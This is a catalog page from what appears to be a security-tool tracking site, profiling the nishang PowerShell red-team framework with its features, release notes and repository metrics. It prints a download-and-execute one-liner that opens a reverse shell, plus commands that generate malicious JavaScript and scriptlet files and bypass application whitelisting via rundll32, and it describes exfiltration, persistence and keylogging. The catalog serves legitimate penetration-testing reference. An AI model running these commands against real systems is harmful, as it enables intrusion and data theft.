PAGES
← all tools
◆ Post-Exploitation

nishang

0.6.7 open-source

PowerShell framework and payload collection for offensive security, penetration testing, and red teaming across all pentest phases.

source ↗ rss ↗ What is a cyber toolchain?

Summary

nishang is an open-source PowerShell framework and collection of scripts and payloads used for offensive security work, and it costs nothing to use. It runs as a set of scripts you import into a PowerShell session or dot-source individually, loaded either from disk or downloaded and executed in memory to avoid touching disk on the target, with a companion encoding utility for delivering scripts through non-PowerShell shells. It is aimed at penetration testers and red teamers, covering scripts meant to be useful across every phase of an engagement rather than one narrow task. First committed in 2014 with 18 contributors, it has had no commits in the past year.

PowerShell framework and payload collection for offensive security, penetration testing, and red teaming across all pentest phases.

How nishang helps

How do I get a shell out of a compromised Windows host without dropping anything to disk?

pulls a script over the wire straight into memory and hands back a reverse or bound connection, so the payload never touches the target's filesystem

How do I keep access to a compromised machine after this session ends?

separate scripts install a persistence or backdoor mechanism, from scheduled re-execution to remote WMI or PowerShell remoting, so a later reconnect doesn't need a fresh exploit

How do I move from one compromised host deeper into the domain?

the Active Directory scripts add or query privilege paths, such as delegation or shadow-permission backdoors, that let a session escalate or maintain control across the domain

How do I weaponize an Office document or script file to get initial execution?

Out-Word and Out-Excel embed a payload into the document, including DDE-based techniques, so opening the file runs the attacker's code

all 5 features, with the evidence for each →

Languages

Not documented

Features

5 capabilities

Built from nishang's releases, docs, README and our own runs. “Seen” marks the month we first spotted a release the vendor didn't date. Group names and tags are our labels.

Compare with peers →

What nishang offers you

  • Scripting language support4
  • PowerShell script execution1
  • Scripting API1
All capabilities 5 capabilities
Script execution framework shipped Imports, views help for, and dot-sources Nishang PowerShell scripts. 3 releases · 3 other sources · first seen Jun 2014

Also counts toward: PowerShell script execution, Scripting language support

release

  • Out-JS.ps1 added to Client directory to generate malicious JavaScript files 0.6.7 · May 2016 · source · release history
  • Out-SCT.ps1 added to Client directory to generate malicious SCT scriptlet files 0.6.7 · May 2016 · source · release history
  • Added Nishang.psm1 module to load all scripts into the current PowerShell session v0.3.4 · Jun 2014 · source · release history

example

  • Import all Nishang scripts into session PS C:\nishang> Import-Module .\nishang.psm1
  • Get full help for any script PS C:\nishang> Get-Help [scriptname] -full
  • Dot-source a specific Nishang script PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
Payload generation and execution shipped Encodes scripts for obfuscated execution, runs them on targets, and performs in-memory download-and-execute operations. 2 releases · 2 other sources · first seen Jun 2014

Also counts toward: Scripting language support

release

  • Invoke-JSRatRegsvr.ps1 added to Shells directory for a JS RAT via regsvr32 0.6.7 · May 2016 · source · release history
  • Removed exfiltration support for tinypaste v0.3.4 · Jun 2014 · source · release history

example

  • Run encoded script on target C:\Users\target> powershell -e [encodedscript]
  • In-memory download and execute reverse shell powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
Application whitelisting bypass shipped Generates obfuscated commands or scripts to execute via legitimate system binaries, such as rundll32 and regsvr32, to evade application whitelisting controls. 1 release · 2 other sources · first seen May 2016

Also counts toward: Scripting language support

release

  • Out-RundllCommand added to Execution directory to execute commands via rundll32 0.6.7 · May 2016 · source · release history

example

  • Create a rundll32 execution command for bypassing application whitelisting. Invoke-Expression (Get-Content nishang/Shells/Execution/Out-RundllCommand.ps1 -Raw) 0.6.7 · May 2016 · source
  • Generate a malicious .sct scriptlet for Windows Script Host execution. Invoke-Expression (Get-Content nishang/Shells/Client/Out-SCT.ps1 -Raw) 0.6.7 · May 2016 · source
Exfiltration orchestration shipped Provides centralized script support for registering and orchestrating data exfiltration handlers via DNS TXT queries and HTTP POST requests. 3 releases · first seen Jun 2014

Also counts toward: Scripting API, Scripting language support

release

  • Added DNS txt queries as a new exfiltration option v0.3.4 · Jun 2014 · source · release history
  • Added POST requests to Webserver as a new exfiltration option v0.3.4 · Jun 2014 · source · release history
  • Added Add-Exfiltration.ps1 script to register new exfiltration handlers v0.3.4 · Jun 2014 · source · release history
Exfiltration control shipped Manages the availability of exfiltration options across scripts, allowing specific support to be removed or retained for Backdoors and Keyloggers. 1 release · first seen Jun 2014

release

  • Exfiltration options have been removed from all scripts but Backdoors and Keylogger v0.3.4 · Jun 2014 · source · release history

Lines in monospace are the tool's own words: help text parsed from its source, or an endpoint from its API document. Under release, a line is our summary of a dated release. Under docs, it is quoted from the tool's own documentation or website. Each links back to the source it came from.

Score card

  1. Shipping velocity releases a month, last 12 months
  2. Documentation quality release-notes rubric, 0–100
  3. Breaking-change discipline how rarely a release breaks users, and notice given
  4. Maintenance risk quiet time against its own cadence, maintainers
  5. Innovation & surface new capabilities, API and MCP surface
  6. Community health
  7. Contributor trend distinct committers, this year against last
  8. Maintainer concentration bus factor now against a year ago
  9. Issue backlog trend issues closed per issue opened, 12 months
  10. Responsiveness median time to a maintainer’s first reply

Nine scores for nishang, each built from the releases, notes and API history this site tracks — and, on Researcher and Business, where it stands among every measured tool in its category and how that has moved.

Score cards are part of every paid plan.

See plans →

Each score is 0–100 on a published rubric, derived from data this site already shows. A dimension we cannot measure says so — it is never scored 0 and never enters a rank.

How this is scored
  • Shipping velocity — releases a month over the last 12 months, on a log scale where 16 a month scores 100. Needs 3 releases in the window.
  • Documentation quality — the release-notes rubric published on the analytics page, unchanged.
  • Breaking-change discipline — the share of releases carrying a breaking change (none scores 100, half or more scores 0). Only projects that label breaking changes are measured: a clean record cannot be told from an unlabelled one.
  • Maintenance risk — quiet time measured against the tool's own release cadence (quiet longer than 90 days and three typical gaps scores 0), plus the number of active maintainers and whether contributors are growing, where known. Higher is lower risk.
  • Innovation & surface — new capabilities in the feature ledger this year, API and MCP operations added, and the share of commits that are features: the mean of whichever we hold.
  • Community health (open-source tools only) — each is a direction, not a size: contributors this year against last, the bus factor now against a year ago, and issues closed per issue opened, where steady scores 50, doubled 100 and halved 0; plus the median time to a maintainer's first reply (an hour scores about 100, a month or more 0). A commercial card has no repository and carries none of the four.
  • Documented delivery (commercial tools) — when a vendor's documented new capabilities have slowed against its own baseline, that counts against the overall standing as heavily as two low dimensions. Steady delivery, or too little history to judge, leaves the standing alone; it is never a sixth score.
  • Open-source tools are scored on repository signals; commercial tools on their published changelog. Ranks compare tools within one category and one profile and need at least five measured peers; the overall standing needs three ranked dimensions. Best-in-breed or consolidator is a shape, not a quality, and is never scored.

Release-note detail over time

See how much detail nishang puts in its release notes, quarter by quarter, and compare it with tracked tools in the same category. This history uses up to ten retained, reviewed notes per tool; sparse or blank older quarters may reflect that limit.

Checking release-note history…

Explore the full chart →

Releases

Show

2 entries

  1. May 20161
  3. June 20141
    Show

    2 entries

    1. 0.6.7 May 24, 2016 · release notes

      Adds four new PowerShell payloads for lateral movementlateral movementMoving from an initially compromised system or identity to other resources in a network. Attackers often use stolen credentials or trusted connections to expand their access. and persistence

      └──▷ GET THIS VERSION 
      $ git clone --branch 0.6.7 https://github.com/samratashok/nishang.git
# already have the repo? check out this version:
$ git checkout 0.6.7
      └──▷ USE IT
      Generate a malicious .js file for phishing or dropbox deployment.
      shell 
      Invoke-Expression (Get-Content nishang/Shells/Client/Out-JS.ps1 -Raw)
      Generate a malicious .sct scriptlet for Windows Script Host execution.
      shell 
      Invoke-Expression (Get-Content nishang/Shells/Client/Out-SCT.ps1 -Raw)
      Create a rundll32 execution command for bypassing application whitelisting.
      shell 
      Invoke-Expression (Get-Content nishang/Shells/Execution/Out-RundllCommand.ps1 -Raw)
      • Out-JS.ps1 added to Client directory to generate malicious JavaScript files
      • Out-SCT.ps1 added to Client directory to generate malicious SCT scriptlet files
      • Invoke-JSRatRegsvr.ps1 added to Shells directory for a JS RAT via regsvr32
      • Out-RundllCommand added to Execution directory to execute commands via rundll32

      4 details in Everything

    2. v0.3.4 Jun 2, 2014 · release notes

      Nishang v0.3.4 adds Do-Exfiltration and Add-Exfiltration scripts with POST/DNS exfil support via PSM1 import

      └──▷ GET THIS VERSION 
      $ git clone --branch v0.3.4 https://github.com/samratashok/nishang.git
# already have the repo? check out this version:
$ git checkout v0.3.4
      • Added Do-Exfiltration.ps1 script for centralized exfiltration orchestration
      • Added Add-Exfiltration.ps1 script to register new exfiltration handlers
      • Added Nishang.psm1 module to load all scripts into the current PowerShell session
      • Added POST requests to Webserver as a new exfiltration option
      • Added DNS txt queries as a new exfiltration option

      5 details in Everything

      └──▷ BREAKING ON UPGRADE
      • !Removed exfiltration support for tinypaste
      • !Exfiltration options have been removed from all scripts but Backdoors and Keylogger

    Project health

    Issue, contributor and maintainer activity in samratashok/nishang, 2023-10 – 2026-09, as of 2026-09-25. Twelve-month figures first; the trend lines run the whole window.

    1. Contributors 0 ±0 vs prior 12 months
    2. Maintainers 0 +0 joined · −0 left, last 12 months
    3. Bus factor 0 committers behind half the commits
    4. Community-filed 100% of issues opened, last 12 months
    5. Median time to close not measured issues closed, last 12 months
    6. Open backlog 17 of 60 issues ever filed
    1. Issues opened / month 0 · 0 communitymaintainers
    2. Open backlog 17
    3. Contributors / month 0
    4. Commits / month 0
    5. Stars 10,111
    Issue themes, last 12 months
    • other 100%

    Counts from the project's public repository and git history; no individuals are identified. Maintainers are the committers covering 80% of the last year's commits. how we measure this

    Libraries its release ships

    What its latest release locks, checked against known advisories.

    None of its release's images build from a lockfile we can read.

    Add the badge to your README

    Maintain this project? The badge links readers straight to this page, so they can follow every release here.

    Tracked by Cyber Toolchain Choose a badge style and copy the code →
    compare.md

      Free the public facts, no sign-in Any paid plan all other sections Researcher & Business pricing history and category rank

      my-toolchain — 0 tools

        Betas, release candidates and previews. Turn it off to see final releases only. It also applies to changes you ask for over MCP when you're signed in.
        browse all tools → score card for your toolchain →
        cyber-toolchain / feedback

        Send us feedback